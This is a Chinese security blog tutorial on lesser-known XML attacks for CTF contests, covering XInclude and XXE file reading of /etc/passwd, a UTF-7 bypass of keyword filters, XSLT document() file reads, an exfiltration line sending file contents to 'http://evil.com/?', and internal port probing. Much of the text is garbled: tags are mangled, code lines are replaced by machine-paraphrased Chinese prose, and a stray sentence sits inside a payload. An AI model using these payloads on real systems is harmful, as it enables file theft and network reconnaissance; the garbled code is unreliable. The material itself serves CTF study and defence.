深入解析XML安全:探索XInclude攻击及其在CTF比赛中的小众应用

前言

深入解析XML安全:探索XInclude攻击及其在CTF比赛中的小众应用

最近一直在对 xml 及其相关的安全问题进行研究。之前的那一篇文章已经提到了比较大众化且在 CTF 中经常出现的 xml 攻击方式。

此为一个链接 https://www.anquanke.com/post/id/155328 ,指向特定的页面或内容。

这里要再提及两种相对较为小众的攻击方式,这里所说的小众是指在 CTF 比赛中不常出现的情况。

Xinclude什么是xinclude

顾名思义,xinclude可以理解为xml include

熟悉编译或脚本语言的人一定知道,像 php 中的 include 这种操作,以及 python 和 java 里的 import 这种方式,都是能够进行文件包含的。

那么文件包含有什么好处?

可以让代码更整洁。我们能够把定义的功能函数放置在 function.php 里,接着在需要使用功能函数的文件中通过 include 来包含 function.php。如此一来,就避免了重复冗余的函数定义,并且还能增加代码的可读性。

因此,xinclude 也是如此,它是在 xml 标记语言中用于包含其他文件的一种方式。

为什么使用xinclude

正如前文所述,xinclude 能够提升代码的可读性。下面给出官方手册里的样例,以便于理解:

page.xml


<webpage>
<body>Hello world!body>

<xi:include该链接指向 templates/footer.xml ,并且使用了 xmlns:xi="http://www.w3.org/2003/XInclude" 命名空间。
webpage>

footer.xml:


<footer>? Contoso Corp, 2003footer>

处理过程

xinclude的语法介绍

xinclude 的语法较为简单,它主要涉及命名空间中的两个元素,分别是 include 和 fallback 。

常用的命名空间前缀为“xi”,不过可以依据个人喜好随意使用其他前缀。

xi:include 元素

元素中的几个属性:

当涉及文本包括时,encoding 这一属性能够提供所包括文档的编码提示信息。

样例如下:

xi:fallback 元素

简单来说,就像 try...except...那样,如果 xinclude 的内容有问题,就会显示 fallback 的内容。

例如

<xi:include href="test.xml" parse="text"/>
<xi:fallback>抱歉,该文件不可用。<xi:fallback>
xi:include>

此时对 xml 进行解析后,如果 test.xml 不存在,那么就会解析并获取到“Sorry, the file is unavailable”。

安全问题

看完上述内容后,肯定会有人产生疑问,为何不直接采用外部实体引入呢?

这里官方文档也给出了详尽的解释:

XML 外部实体存在诸多广为人知的局限以及不便使用的含义,这些情况极大地对 XML 外部实体成为多用途包含工具形成了妨碍。

5.外部实体必须在 DTD 或内部子集中进行声明。

等等,有外部实体吗?一讲到安全问题,你是否马上就联想到了 XXE(XML External Entity Injection)这种可以任意读取文件的问题?

没错,xinclude 可以作为外部实体引用的替代品。它同样存在 XXE 的问题,并且还有一些特别之处:

传统的XXE文件读取


$xml = <<

]>
&f;
EOD;

$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
加载上述定义的 XML 字符串。
$dom->loadXML($xml);
// substitute xincludes
echo $dom->saveXML();
?>

但是访问该页面,我们却发现并没有解析xml

因为 php 的 xml 库的底层库是 libxml2,在 2.6 版本之后,这个库已默认禁用外部实体引用的解析,所以我们可以使用

echo LIBXML_DOTTED_VERSION;

来查看当前版本号

所以当前我的 xml 解析默认不支持外部实体引入了。我们查阅 php 手册中的 libxml option constants 可以发现,使用 LIBXML_NOENT 选项就能够加载外部实体。

所以关键代码更改为

使用 $dom 来加载 XML 数据 $xml,并且设置了 LIBXML_NOENT 选项。

即可:

传统文件读取进阶版—过滤

倘若我们发现外部实体引入时,存在关键词过滤

例如

ENTITY

等被过滤,那么我们可以尝试使用utf-7编码

例如


]>

<x>&f;x>

我们利用

https:可通过以下方式访问该页面://www.motobit.com/util/charset-codepage-conversion.asp 。

转为utf-7

+ADwAIQ-DOCTYPE ANY +AFs-
4. 分句要尽量短。
+AF0APg-
+ADw-x 与 +AD4AJg-f 以及 +ADsAPA-/x 和 +AD4- 之间存在某种关联或组合情况。

然后使用


测试脚本


$xml = <<
+ADwAIQ-DOCTYPE ANY +AFs-
+ADwAIQ-ENTITY f SYSTEM 对 +ACI-file:///etc/passwd+ACIAPg-进行了操作。
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
EOD;


$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml,LIBXML_NOENT);
echo $dom->saveXML();
?>

效果如下

xinclude文件读取

倘若由于需要,我们使用了xinclude


$xml = <<



EOD;

$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml);
$dom->xinclude();
echo $dom->saveXML();
?>

我们发现

$dom->loadXML($xml);

我们没有开启外部实体引用选项,然而却能够成功读取到 /etc/passwd 的内容。

这一点值得关注。如果在测试过程中,我们能发现可控的 xml 文本内容,然而引入外部实体无效或者存在过滤,并且尝试编码绕过也不行,那么就可以尝试使用 xinclude。

xinclude不需要使用 LIBXML_NOENT 选项来开启原本处于关闭状态的外部实体引用。

XSLT

XSL 指的是扩展样式表语言,也就是 EXtensible Stylesheet Language 。

XSLT 指的是 XSL 转换。使用 XSLT 能够把 XML 文档转换成其他文档,例如 XHTML。

简单样例

下面展示利用php后端语言,将xml转换为html

test.xml


<root>
<name>skyname>

<blog>skysec.topblog>
<country>Chinacountry>
root>

test.xsl


<xsl:stylesheet version="1.0"
xmlns 表示命名空间,“http://www.w3.org/1999/XSL/Transform”是一个特定的命名空间地址,用于 XSLT(可扩展样式表语言转换)相关的操作,其中的“xsl”是命名空间的前缀,用于在 XML 文档中引用该命名空间下的元素和属性等。

<xsl:template match="/">
<html>
<body>
<table border="1">
<tr bgcolor="#9acd32">
<th align="left">Nameth>

<th align="left">Blogth>
<th align="left">Countryth>
tr>
<xsl:for-each select="root">
<tr>
<td><xsl:value-of select="name" />td>
<td><xsl:value-of select="blog" />td>
<td><xsl:value-of select="country" />td>
tr>
xsl:for-each>
table>
body>
html>
xsl:template>
xsl:stylesheet>

test.php


$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl");
$xmlDoc = new DOMDocument();
$xmlDoc->load("test.xml");
$proc = new XSLTProcessor();
$proc 导入了 XSL 文档 $xslDoc 。
echo使用 $proc 对 $xmlDoc 进行转换以生成 XML 文档。

结果如下

查看源代码

<html><body><table border="1">
<tr bgcolor="#9acd32">
<th align="left">Nameth>

<th align="left">Blogth>
<th align="left">Countryth>
tr>
<tr>
<td>skytd>
<td>skysec.toptd>
<td>Chinatd>
tr>
table>body>html>

发现

<td><xsl:value-of select="name" />td>
<td><xsl:value-of select="blog" />td>
<td><xsl:value-of select="country" />td>

已被替换成对应的值

安全问题

传统文件读取

这里的安全问题基本与xml中相同

像读文件:



]>

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/root">
&shit;
xsl:template>

xsl:stylesheet>

这就很成功的可以读取文件内容了

但是需要注意的是,由于 php 底层的 libxml 库存在这样一种情况,即默认禁用了外部实体引入。正因如此,我们依然需要去手动进行加入操作。

$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl",LIBXML_NOENT);

xsl文件读取

当没开启外部实体引入的时候,我们可以考虑如下方式


既然是url,那么利用的方式就有很多种了

例如:


此时报错了

我们尝试用base64

解base64

这很不爽,因为

echo$proc 对 $xmlDoc 进行了转换并生成了 XML 内容。

的原因,我们不能输出完整的信息

如果我改成

echo使用 base64 编码对 $proc 进行将 $xmlDoc 转换为 XML 的操作结果。

其实能够成功读取文件内容,不过估计目标不会先将其进行 base64 编码,然后再帮我们打印出来吧。

所以有了以下方法

<xsl:variable从“file:///etc/passwd”这个文档中进行选择,其名称为“name1”。
<xsl:variable3. 形成的是“http://evil.com/?”和$name1 连接在一起的内容。
<xsl:variable使用 name2 选择文档,其名称为 name3 。

传统端口探测

话不多说,测试脚本如下

当外部实体引用开启时


$xml = <<
]>
&shit;
EOD;

$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml,LIBXML_NOENT);
echo $dom->saveXML();
?>

当端口关闭的时候发现

当端口开启的时候

xsl端口探测

上述方法需开启外部实体引入,然而在此处仅需运用 document()函数便能达成目的。

给出部分代码

<xsl:for-each select="sky">
<tr>
<td><xsl:value-of select="name" />td>

<td><xsl:value-of select="blog" />td>
<td><xsl:value-of select="country" />td>
<td><xsl:value-of从“document('http://127.0.0.1:9999')”中进行选择。td>
tr>
xsl:for-each>

当端口关闭时

当端口开启时

CTF样题

曾经做过一道关于 xslt 服务端注入攻击的综合题目,有兴趣的话可以看看这篇文章。

sql 注入到 xslt 再到 xxe 的一道 ctf 题目,思考攻击点

后记

Xml 是一种标记语言,它蕴含的技巧有很多且有待探索,我先进行一些简单的介绍来抛砖引玉。我非常期待有师傅能够来交流一些关于 Xml 的相关知识和技巧。


- 结尾 -
精彩推荐
【技术分享】从crash到getshell 0ctf2019_plang 详解
【技术分享】LSB隐写工具对比(Stegsolve与zsteg)
【技术分享】House of storm 原理及利用

戳“阅读原文”查看更多内容

你可能想看:
« 上一篇
下一篇 »

相关推荐

java中什么是冒泡,冒泡算法

2026年09月06日

27阅读

java中冒号,java双冒号

2026年09月06日

26阅读

java中的->,java中的是什么意思

2026年09月06日

24阅读

java中的super用法,Java中super的说明

2026年09月06日

28阅读

java中反射的应用,java中反射的应用场景

2026年09月06日

26阅读

java中开关的定义,Java关键字有哪些

2026年09月06日

26阅读